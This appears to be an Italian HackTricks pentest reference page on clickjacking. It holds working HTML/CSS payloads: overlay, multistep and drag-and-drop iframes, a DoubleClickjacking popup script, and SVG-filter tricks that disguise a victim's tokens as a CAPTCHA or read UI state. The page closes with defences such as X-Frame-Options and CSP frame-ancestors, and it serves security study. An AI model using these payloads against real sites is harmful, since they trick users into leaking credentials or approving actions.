Clickjacking

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Che cos’è Clickjacking

In un attacco di clickjacking, un utente viene ingannato a cliccare su un elemento di una pagina web che è o invisibile o mascherato come un elemento diverso. Questa manipolazione può portare a conseguenze non intenzionali per l’utente, come il download di malware, il reindirizzamento verso pagine web malevole, la fornitura di credentials o informazioni sensibili, trasferimenti di denaro o l’acquisto online di prodotti.

Trucco: precompilare i moduli

A volte è possibile riempire il valore dei campi di un modulo usando parametri GET quando si carica una pagina. Un attaccante può abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking così che l’utente prema il pulsante Submit.

Popolare un modulo con Drag&Drop

Se hai bisogno che l’utente compili un modulo ma non vuoi chiedergli direttamente di inserire informazioni specifiche (come l’email e/o una password specifica che conosci), puoi semplicemente chiedergli di fare Drag&Drop di qualcosa che scriverà i tuoi dati controllati come in this example.

Payload di base

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload multistadio

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Trascina&Rilascia + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se hai identificato un XSS attack that requires a user to click su qualche elemento per trigger l’XSS e la pagina è vulnerable to clickjacking, potresti abusarne per indurre l’utente a cliccare sul pulsante/link.
Example:
Hai trovato un self XSS in alcuni dettagli privati dell’account (dettagli che solo tu puoi impostare e leggere). La pagina con il form per impostare questi dettagli è vulnerable a Clickjacking e puoi prepopulate il form con i GET parameters.
Un attacker potrebbe preparare un attacco di Clickjacking verso quella pagina prepopulating il form con il XSS payload e trickare l’utente nel fare Submit del form. Quindi, quando il form viene inviato e i valori sono modificati, l’utente eseguirà l’XSS.

DoubleClickjacking

Firstly explained in this post, questa tecnica chiede alla vittima di fare doppio click su un pulsante di una pagina custom posizionata in una locazione specifica, e sfrutta le differenze di timing tra gli eventi mousedown e onclick per caricare la pagina della vittima durante il double click in modo che la vittima clicchi realmente un pulsante legittimo nella pagina della vittima.

An example potrebbe essere visto in questo video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Questa tecnica permette di indurre l’utente a cliccare in un solo punto nella pagina della vittima bypassando ogni protezione contro il clickjacking. Quindi l’attacker deve trovare azioni sensibili che possono essere eseguite con un solo click, come gli OAuth prompts che accettano permissions.

Some PoCs abbandonano completamente gli iframes e tengono un background popup allineato sotto il cursore. La pagina attacker traccia mousemove e usa un piccolo popup (window.open) che viene spostato con moveTo() mentre è same-origin; una volta allineato, viene reindirizzato di nuovo alla target origin così il click successivo atterra sul pulsante reale. Poiché cross‑origin moveTo() è bloccato, il popup viene brevemente navigato verso un attacker origin per riposizionarlo, quindi location/history.back() ritorna al target. Per far emergere il target al momento del click, l’attacker può riaprire il popup with the same window name per portarlo in foreground senza cambiare l’URL.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Le build moderne di Chromium/WebKit/Gecko permettono di applicare il CSS filter:url(#id) a cross-origin iframes. I pixel rasterizzati dell’iframe sono esposti al grafo dei filtri SVG come SourceGraphic, quindi primitive come feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, ecc. possono deformare arbitrariamente la victim UI prima che l’utente la veda, anche se l’attacker non tocca mai il DOM. Un semplice filtro in stile Liquid-Glass appare così:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitive utili: feImage carica bitmap dell’attaccante (e.g., overlays, displacement maps); feFlood crea matte a colore costante; feOffset/feGaussianBlur affina le evidenziazioni; feDisplacementMap rifrange/deforma il testo; feComposite operator="arithmetic" implementa operazioni aritmetiche arbitrarie per canale (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), sufficienti per aumento del contrasto, mascheramento e operazioni AND/OR; feTile ritaglia e replica sonde di pixel; feMorphology espande/riduce i tratti; feColorMatrix sposta la luma in alpha per costruire maschere precise.

Distorsione dei segreti in prompt in stile CAPTCHA

Se un endpoint che può essere incorniciato mostra segreti (tokens, reset codes, API keys), l’attaccante può distorcerli in modo che assomiglino a un CAPTCHA e costringere alla trascrizione manuale:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

I pixel distorti ingannano l’utente facendogli “risolvere” il captcha all’interno dell’<input> controllato dall’attaccante il cui pattern impone il vero segreto della vittima.

Ricontextualizzare gli input della vittima

I filtri possono eliminare chirurgicamente il testo placeholder/di validazione mantenendo però le battute dell’utente. Un flusso di lavoro:

  1. feComposite operator="arithmetic" k2≈4 amplifica la luminosità in modo che il testo di aiuto grigio si saturi a bianco.
  2. feTile limita l’area di lavoro al rettangolo dell’input.
  3. feMorphology operator="erode" ispessisce i glifi scuri digitati dalla vittima e li memorizza con result="thick".
  4. feFlood crea una base bianca, feBlend mode="difference" con thick, e un secondo feComposite k2≈100 la trasforma in una luma matte netta.
  5. feColorMatrix sposta quella luma nell’alpha, e feComposite in="SourceGraphic" operator="in" mantiene solo i glifi inseriti dall’utente.
  6. Un altro feBlend in2="white" più un crop sottile produce una textbox pulita, dopo di che l’attaccante sovrappone le proprie etichette HTML (es., “Inserisci la tua email”) mentre l’iframe nascosto continua a imporre la password policy dell’origine vittima.

Safari ha difficoltà con feTile; lo stesso effetto può essere riprodotto con maschere spaziali costruite da feFlood + feColorMatrix + feComposite per payload specifici per WebKit.

Sonde di pixel, logica e macchine a stati

Ritagliando una regione di 2–4 px con feTile e piastrellandola al 100% della viewport, l’attaccante trasforma il colore campionato in una texture a schermo intero che può essere sogliaizzata in una maschera booleana:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Per colori arbitrari, un riferimento feFlood (es., #0B57D0) più feBlend mode="difference" e un altro composite aritmetico (k2≈100, k4 come tolleranza) producono bianco solo quando il pixel campionato corrisponde alla tonalità target. Iniettando queste maschere in feComposite con k1..k4 tarati si ottengono porte logiche: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending contro il bianco. Concatenando le porte si costruisce un sommatore completo all’interno del grafo dei filtri, dimostrando che la pipeline è logicamente completa.

Gli attaccanti possono quindi leggere lo stato dell’UI senza JavaScript. Esempi di booleani da un workflow modale:

  • D (dialog visible): sondare un angolo scurito e testare rispetto al bianco.
  • L (dialog loaded): sondare le coordinate dove il pulsante appare una volta pronto.
  • C (checkbox checked): confrontare il pixel della checkbox con l’active blue #0B57D0.
  • R (red success/failure banner): usare feMorphology e soglie rosse all’interno del rettangolo del banner.

Ogni stato rilevato abilita un diverso bitmap di overlay incorporato via feImage xlink:href="data:...". Mascherare quei bitmap con D, L, C, R mantiene gli overlay sincronizzati con il dialog reale e guida la vittima attraverso workflow multi-step (reimpostazioni di password, approvazioni, conferme distruttive) senza esporre mai il DOM.

Sandboxed iframe Basic Auth dialog (no allow-popups)

A sandboxed iframe without allow-popups può comunque mostrare una browser-controlled HTTP Basic Authentication modal quando un caricamento restituisce 401 con WWW-Authenticate. Il dialog è generato dallo strato di networking/auth del browser (non dagli JS alert/prompt/confirm), quindi le restrizioni sui popup nello sandbox non lo sopprimono. Se puoi scriptare l’iframe (es., sandbox="allow-scripts") puoi navigarlo verso qualsiasi endpoint che emette una Basic Auth challenge:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Once the response arrives, the browser prompts for credentials even though popups are disallowed. Framing a trusted origin with this trick enables UI redress/phishing: unexpected modal prompts inside a “sandboxed” widget can confuse users or trigger password managers to offer stored credentials.

Estensioni del browser: DOM-based autofill clickjacking

Oltre a iframing le pagine della vittima, gli attaccanti possono prendere di mira gli elementi UI delle estensioni del browser che vengono injectate nella pagina. I password managers renderizzano dropdown di autofill vicino agli input focalizzati; focalizzando un campo controllato dall’attaccante e nascondendo/occludendo il dropdown dell’estensione (trucchi di opacity/overlay/top-layer), un click coercitivo dell’utente può selezionare un elemento memorizzato e riempire dati sensibili in input controllati dall’attaccante. Questa variante non richiede esposizione via iframe e funziona interamente tramite manipolazione DOM/CSS.

A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.

Strategie per mitigare Clickjacking

Difese lato client

Gli script eseguiti sul client possono effettuare azioni per prevenire Clickjacking:

  • Assicurarsi che la finestra dell’applicazione sia la main o top window.
  • Rendere visibili tutti i frame.
  • Impedire i click su frame invisibili.
  • Rilevare e avvisare gli utenti di potenziali tentativi di Clickjacking.

Tuttavia, questi frame-busting scripts possono essere aggirati:

  • Browsers’ Security Settings: Alcuni browser potrebbero bloccare questi script in base alle impostazioni di sicurezza o alla mancanza di supporto JavaScript.
  • HTML5 iframe sandbox Attribute: An attacker can neutralize frame buster scripts by setting the sandbox attribute with allow-forms or allow-scripts values without allow-top-navigation. This prevents the iframe from verifying if it is the top window, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

I valori allow-forms e allow-scripts abilitano azioni all’interno dell’iframe pur disabilitando la navigazione a livello top. Per garantire la funzionalità prevista del sito bersaglio, potrebbero essere necessarie autorizzazioni aggiuntive come allow-same-origin e allow-modals, a seconda del tipo di attacco. I messaggi nella console del browser possono indicare quali permessi consentire.

Server-Side Defenses

X-Frame-Options

L’header di risposta HTTP X-Frame-Options informa i browser sulla legittimità di renderizzare una pagina in un <frame> o <iframe>, contribuendo a prevenire Clickjacking:

  • X-Frame-Options: deny - Nessun dominio può inserire il contenuto in un frame.
  • X-Frame-Options: sameorigin - Solo lo stesso sito può inserire il contenuto in un frame.
  • X-Frame-Options: allow-from https://trusted.com - Solo l’uri specificato può incorniciare la pagina.
  • Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva frame-ancestors di CSP.

Content Security Policy (CSP) frame-ancestors directive

La direttiva frame-ancestors in CSP è il metodo consigliato per la protezione contro Clickjacking:

  • frame-ancestors 'none' - Simile a X-Frame-Options: deny.
  • frame-ancestors 'self' - Simile a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Simile a X-Frame-Options: allow-from.

Ad esempio, la seguente CSP permette il framing solo dallo stesso dominio:

Content-Security-Policy: frame-ancestors 'self';

Ulteriori dettagli ed esempi complessi si trovano nella frame-ancestors CSP documentation e nella Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) è una misura di sicurezza che aiuta a prevenire Clickjacking e altri attacchi di code injection specificando quali sorgenti il browser deve consentire per caricare contenuti.

frame-src Directive

  • Definisce le sorgenti valide per i frame.
  • Più specifica della direttiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Questa policy permette frame dalla stessa origine (self) e https://trusted-website.com.

child-src Direttiva

  • Introdotta nella CSP livello 2 per impostare le sorgenti valide per web workers e frame.
  • Agisce come fallback per frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Questa policy consente frame e worker dalla stessa origine (self) e da https://trusted-website.com.

Note d’uso:

  • Deprecazione: child-src viene gradualmente rimosso a favore di frame-src e worker-src.
  • Comportamento di fallback: se frame-src è assente, child-src viene usato come fallback per i frame. Se entrambi sono assenti, viene usato default-src.
  • Definizione rigorosa delle sorgenti: includi solo sorgenti affidabili nelle direttive per prevenire sfruttamenti.

JavaScript Frame-Breaking Scripts

Sebbene non completamente infallibili, JavaScript-based frame-busting scripts possono essere utilizzati per impedire che una pagina web venga incorniciata. Esempio:

if (top !== self) {
top.location = self.location
}

Utilizzo di Anti-CSRF Tokens

  • Convalida del token: Usa anti-CSRF tokens nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall’utente e non tramite una pagina Clickjacked.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks